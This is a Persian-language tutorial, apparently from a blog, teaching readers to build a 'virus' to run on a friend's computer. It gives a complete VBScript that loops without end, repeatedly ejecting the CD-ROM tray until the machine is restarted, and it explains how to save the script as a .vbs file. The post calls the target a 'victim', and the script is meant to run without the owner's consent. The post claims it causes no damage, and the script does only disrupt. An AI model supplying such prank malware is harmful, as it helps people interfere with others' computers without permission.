امروزه ویروس ها همانند، تکنولوژی روز به روز پیشرفته تر میشوند و بخش عظیمی از دنیای تکنولوژی را به خود اختصاص میدهند، در این پست قصد داریم به افرادی که علاقه به ویروس نویسی دارند آموزش دهیم که چگونه کامپیوتر دوستتان را ویروسی کنید
توجه داشته باشید، این ویروس به هیچ وجه هیچ آسیبی به کامپیوتر دوست شما نمیزند
شما با استفاده از این ویروس میتوانید CD-Rom کامپیوتر دوستتان را باز کنید
ولی این بدین معنی نیست که همینجا کار تمام میشود
پس از اینکه دوست شما CD-Rom کامپیوتر خود را بست، این CD-Rom دوباره باز میشود
و این اتفاق بارها و بارها اتفاق میفتد
و تنها راه حل برای رهایی از این ویروس خاموش و روشن کردن کامپیوتر میباشد
حال مراحل ساخت ویروس را شرح میدهیم
ابتدا لازم است که یک فایل NotePad را باز نمایید
برای این کار میتوانید بر روی صفحه ی دسکتاپ خود راست کلیک کرده
سپس گزینه ی New را انتخاب نمایید و در انتها گزینه ی Text Document را انتخاب نمایید
همچنین شما میتوانید از برنامه ی کامل تر ++Notepad که لینک آن را در زیر قرار داده ایم استفاده نمایید
حال وارد برنامه ی Notepad شوید و کد زیر را در آن کپی نمایید
do
Dim ts
Dim strDriveLetter
Dim intDriveLetter
Dim fs ‘As Scripting.FileSystemObject
Const CDROM = 4
On Error Resume Next
Set fs = CreateObject(“Scripting.FileSystemObject”)
strDriveLetter = “”
For intDriveLetter = Asc(“A”) To Asc(“Z”)
Err.Clear
If fs.GetDrive(Chr(intDriveLetter)).DriveType = CDROM Then
If Err.Number = 0 Then
strDriveLetter = Chr(intDriveLetter)
Exit For
End If
End If
Next
Set oWMP = CreateObject(“WMPlayer.OCX.7” )
Set colCDROMs = oWMP.cdromCollection
For d = 0 to colCDROMs.Count – 1
colCDROMs.Item(d).Eject
Next ‘null
For d = 0 to colCDROMs.Count – 1
colCDROMs.Item(d).Eject
Next ‘null
set owmp = nothing
set colCDROMs = nothing
loop
در انتها فایل Notepad خود را بسته و ذخیره نمایید
حال اسم فایل خود را تغییر داده و پسوند آن را از txt به vbs تغییر دهید
مثال : virus.vbs
اکنون ویروس شما آماده شده است
در هر کامپیوتری که بر روی این فایل کلیک شود، این ویروس اجرا شده و مدام CD-Rom کامپیوتر قربانی را باز مینماید
